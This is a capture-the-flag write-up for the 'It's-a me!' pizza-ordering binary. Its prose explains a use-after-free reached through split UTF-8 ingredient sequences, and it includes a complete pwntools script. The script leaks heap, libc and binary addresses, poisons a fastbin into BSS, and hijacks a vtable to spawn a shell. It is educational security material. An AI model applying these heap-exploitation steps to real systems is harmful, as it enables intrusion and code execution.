Rating:
It's-a me!
----------
We're given an x64 Linux ELF, written in C++, with full RELRO, stack canaries, NX, and PIE. We can create users, order and cook pizzas and so on. To order pizzas, ingredients are specified using UTF-8 sequences. When cooking pizzas, we can specify an explanation, which will be allocated on the heap (with a dynamic size depending on the input size).
We notice that it is apparently impossible to order a pineapple pizza (sequence `\xf0\x9f\x8d\x8d`). However, we can order a pizza with ingredients `\xf0\xf0\xf0\x9f` and `\x8d\x8d`, which are valid sequences and will be concantenated when cooking, creating the pineapple ingredient. After cooking a pineapple pizza, Mario gets mad at us. We can log out, or edit our explanation (which logs us out afterwards). From the logged out menu, we can see the explanation we gave.
There is a use-after-free here. When cooking, if we carefully set up an order (e.g., 16 pineapple pizzas and 1 tomato pizza), we can make the program free the explanation buffer while keeping a pointer to it for editing and printing. Also, the editing size is fixed (300), while the actual size of the once-allocated explanation can vary, so there's an overflow, too (we didn't use it).
We first print out a freed explanation unsorted bin to leak the heap (there's another freed unsorted due to vector resizing). Then, we edit an unsorted bin's links to write `main_arena` into the explanation itself at the next `malloc`. By printing the explanation, we leak libc. Finally, we allocate and free an explanation with the same size as a pizza object, then get a pizza allocated in that free fastbin and leak the binary's base through the vtable pointer.
Then, we edit a fastbin-sized free explanation to link a fake fastbin in BSS, near the currently logged user pointer. After setting up a fake user and a bunch of related fake structures in buffers residing in BSS, we overwrite the current user with the fake one through the fake fastbin. Finally, the admire option in the user menu can be used to trigger a virtual method invocation on a fake pizza belonging to the fake user. The fake vtable of the pizza will call a onegadget, popping a shell.
Exploit:
```python
#!/usr/bin/env python2
from pwn import *
from pow import solve_pow
context(arch='x86_64', os='linux')
def pow_connect():
p.recvuntil('Challenge: ')
challenge = p.recvline().strip()
p.recvuntil('n: ')
n = int(p.recvline())
prog = log.progress('Solving PoW ({} {})'.format(challenge, n))
sol = solve_pow(challenge, n)
prog.success('found {}'.format(sol))
p.recvuntil('Solution: \n')
p.sendline(str(sol))
#context.log_level = 'debug'
#p = process('./mario')
p = remote('83b1db91.quals2018.oooverflow.io', 31337)
pow_connect()
def menu(choice):
p.recvuntil('Choice: ')
p.sendline(choice)
# MAIN MENU
def new_customer(name):
menu('N')
p.recvuntil('name? ')
p.sendline(name)
def login(name):
menu('L')
p.recvuntil('name? ')
p.sendline(name)
def why_upset():
menu('W')
p.recvuntil('say: ')
tail = '\nniente scuse\n'
return p.recvuntil(tail)[:-len(tail)]
# USER MENU
def logout():
menu('L')
def order(pizzas):
menu('O')
p.recvuntil('pizzas? ')
p.sendline(str(len(pizzas)))
for pizza in pizzas:
p.recvuntil('ingredients? ')
p.sendline(str(len(pizza)))
for i in pizza:
p.recvuntil(': ')
p.sendline(i)
def cook(explanation=''):
menu('C')
p.recvuntil('explain: ')
p.sendline(explanation)
def admire():
menu('A')
def explain(explanation):
menu('P')
p.recvuntil('yourself: ')
p.sendline(explanation)
def go_away():
menu('Y')
TOMATO = '\xf0\x9f\x8d\x85'
PINEAPPLE_PIZZA = ['\xf0\xf0\xf0\x9f', '\x8d\x8d']
FREED_EXPLANATION_ORDER = [PINEAPPLE_PIZZA] * 16 + [[TOMATO]]
prog = log.progress('Leaking heap')
# leak fd from unsorted bin through UAF
# fd points to heap because the pizza vector reallocation freed
# a (now) unsorted chunk before us
new_customer('heapleak')
order(FREED_EXPLANATION_ORDER)
cook('A' * 200)
go_away()
heap_leak = u64(why_upset().ljust(8, '\x00'))
prog.success('~ 0x{:012x}'.format(heap_leak))
prog = log.progress('Leaking libc')
# corrupt an explanation's unsorted fd to &explanation-0x10
new_customer('libcleak')
order(FREED_EXPLANATION_ORDER)
cook('A' * 200)
explain(p64(heap_leak + 0x4b0 - 0x10)[:6])
# allocate a chunk to write main_arena to *(fd+0x10) -> explanation
new_customer('unsorted')
logout()
# leak main_arena through the explanation
libc_base = u64(why_upset().ljust(8, '\x00')) - 0x3c4c48
prog.success('@ 0x{:012x}'.format(libc_base))
prog = log.progress('Leaking PIE ')
# get a 0x40 free leakable explanation chunk
new_customer('binleak')
order(FREED_EXPLANATION_ORDER)
cook('B' * 0x37)
go_away()
# allocate a bad pizza (0x40 chunk) over the explanation
new_customer('badpizza')
order([['X']] * 10)
cook()
logout()
# leak the binary through the bad pizza's vtable ptr
bin_base = u64(why_upset().ljust(8, '\x00')) - 0x20bbe0
prog.success('@ 0x{:012x}'.format(bin_base))
NAME_ADDR = bin_base + 0x20c5e0
EXPLANATION_ADDR = bin_base + 0x20c480
prog = log.progress('Hijacking vtable')
# link a fake 0x20 fastbin just before the upset and logged user ptrs in BSS
FAKE_FAST_ADDR = EXPLANATION_ADDR + 0x120
new_customer('fakefast')
order(FREED_EXPLANATION_ORDER)
cook('\x00'*0x128 + '\x21')
explain(p64(FAKE_FAST_ADDR)[:6])
# we lay out fake structures in the BSS name buffer
USER_ADDR = NAME_ADDR + 8
PIZZA_PTR_ARRAY_ADDR = USER_ADDR + 0x48
PIZZA_ADDR = PIZZA_PTR_ARRAY_ADDR + 8
VTABLE_ADDR = PIZZA_ADDR + 0x18
# fake vtable for a pizza, calls onegadget from admire
ONE_GADGET = libc_base + 0x4526a
vtable = p64(ONE_GADGET)
# fake pizza, with our fake vtable
pizza = p64(VTABLE_ADDR) + 'A'*16
# fake array of pizzas, with our fake pizza
pizza_ptr_array = p64(PIZZA_ADDR)
# fake list for pizza_ptr_array
pizza_list = p64(PIZZA_PTR_ARRAY_ADDR) # begin ptr
pizza_list += p64(PIZZA_PTR_ARRAY_ADDR+8) # end ptr
pizza_list += '\x00'*8
# fake user, with pizza_list
user = '\x00'*(8+0x18+8) # name, uncooked pizzas, explanation
user += pizza_list # list of cooked pizzas
user += '\x00'*8 # ensure invalid user flag = 0
# throw everything into the BSS name buffer
# strlen = 0 -> waste an 0x20 fastbin, bringing our fake fastbin to head
new_customer('\x00'*8 + user + pizza_ptr_array + pizza + vtable)
# will allocate explanation on fake fastbin
# overwrite logged user ptr with fake user
cook('A'*8 + p64(USER_ADDR)[:6])
# invoke onegadget via fake vtable
admire()
prog.success('pwned!')
p.recvline()
p.interactive()
```